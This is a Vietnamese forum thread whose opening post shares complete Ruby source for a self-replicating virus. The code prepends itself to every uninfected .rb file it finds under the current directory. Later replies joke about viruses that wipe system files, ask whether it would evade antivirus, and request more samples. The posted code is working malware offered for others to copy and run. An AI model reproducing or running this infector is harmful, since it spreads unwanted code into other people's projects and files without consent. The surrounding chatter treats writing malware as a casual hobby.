Code Virus đơn giản bằng Ruby

Đoạn code này chỉ có tác dụng lây nhiễm file chưa thể phá hủy dữ liệu, hay làm bất cứ gì khác…Mọi người tham khảo nhé :slight_smile: :

#0x3a
#!/usr/bin/ruby
def infect_files
  count = 0     # This will halt content reading after the virus_bottom tag
  virus_top     = '#0x3a'       # Distinguishing tag telling us if the file is infected or not
  virus_bottom  = '#:'          # Tag at the bottom of the virus to as a marker of what code to infect other programs with
  files = Dir["./**/*.rb"]      # Grab all the ruby files in the directory of the infected file.

  files.each do |random_file|   # For each ruby file in the same directory as the infected file

    first_line = File.open(random_file, &:gets).strip # Grab the first line (to check the distinguishing tag at the top)

    if first_line != virus_top  # If the program is not infected
      File.rename(random_file, 'tmp.rb') # Rename the normal file to tmp.rb
      virus_file = File.open(__FILE__, "rb") # Open infecting file for reading
      virus_contents = '' # Storing virus data until virus_bottom is hit
      # This is necessary to prevent programs from writing their own content when embedding to other programs
      virus_file.each_line do |line| # for every line in the infected file
        virus_contents += line  # Add each line to our virus content
        if line =~ /#{virus_bottom}/
          count += 1
          if count == 2 then break end # Until we hit the virus_bottom tag
        end
      end
      File.open(random_file, 'w') {|f| f.write(virus_contents) } # Write virus content to the old file's name
      good_file = File.open('tmp.rb', 'rb') # Open the tmp.rb file (contains good code) for reading
      good_contents = good_file.read # Grab the contents of the good file
      File.open(random_file, 'a') {|f| f.write(good_contents)} # Append the good content to the random file
      File.delete('tmp.rb') # Delete the temporary file
    end
  end
end

infect_files # Run the virus
3 Likes

Mọi người còn cách viết code virus nào vào hết nhé @conan4582 @TheSky @htwap

3 Likes

Viết Virus bằng Java, xóa all file hệ thống -> sập mọi hệ điều hành :joy:
Lúc đó là chuẩn Write one, ruin everything luôn :sweat_smile:

3 Likes

Thời trẻ trâu cũng rất hứng thú với mấy con virus, hậu quả phải cài lại windows không biết bao nhiêu lần :sweat_smile:

5 Likes

Kiến thức còn kém nên không tham gia với mọi người được

1 Like

Nhoc biet khi viet virus quan trong nhat la gi khong(sorry, dt nen a khong go tieng viet duoc)

2 Likes

Em rất muốn biết đây ạ :blush:

Hùng gửi mẫu con virus cho mình nghiên cứu với :slight_smile: Đang nghiên cứu phân tích, cần lắm mẫu hihi :blush:

Hình như hôm học Kỹ thuật vi xử lý thầy giáo có nói qua là dùng Assembly viết virus hoặc là debug Assembly để phát hiện virus hay gì đó không nhớ lắm :smile:

1 Like

máy anh không có cài bộ biên dịch để chạy rb, làm sao nó ảnh hưởng đến máy anh đây :v

1 Like

em sẽ biên dịch nó ra file exe hoặc đính kèm tệp chứ ạ :joy: Chứ đây chỉ là sourcecode thui ạ :grin:

1 Like

Ý anh là anh có cần cài ruby để chạy hay không ấy, giống như viết con virus bằng C#/Java, mở lên chạy nó báo lỗi vì không có .NET framework/Jre để chạy.

1 Like

Cái đó chỉ đúng nếu nó được set quyền admintrator thui :joy: Hoặc là Hùng khai thác lỗ hổng để chiếm quyền :sunglasses:

1 Like

Java mỗi tội là không set đc administrator, còn không thì mother of Quảng cũng chẳng tìm dc :smiley:

1 Like

có qua đc phần mềm diệt vurus ko nhỉ?

2 Likes

Thật không thể tin nổi :grin:

1 Like

May cho anh nó không có framework :joy: chứ không giờ này anh đang ngồi cài lại win :sob:

1 Like

Mọi người chỉ giáo thêm, có vẻ em code vẫn dùng comment hơi nhiều :yum:

1 Like

@Bin_Tin ơi, e nên gộp nhiều câu trả lời liên tiếp lại thành 1 post nhé.

2 Likes

Làm sao để nghiên cứu sự lây nhiễm của con virus này vậy chủ topic? Mình dùng ArchLinux, mọi thứ muốn chạy được thì mình toàn phải compile từ source (và tọc tạch AUR) nhưng với chú virus này thì chưa làm được gì vì chưa từng vọc Ruby.

1 Like
83% thành viên diễn đàn không hỏi bài tập, còn bạn thì sao?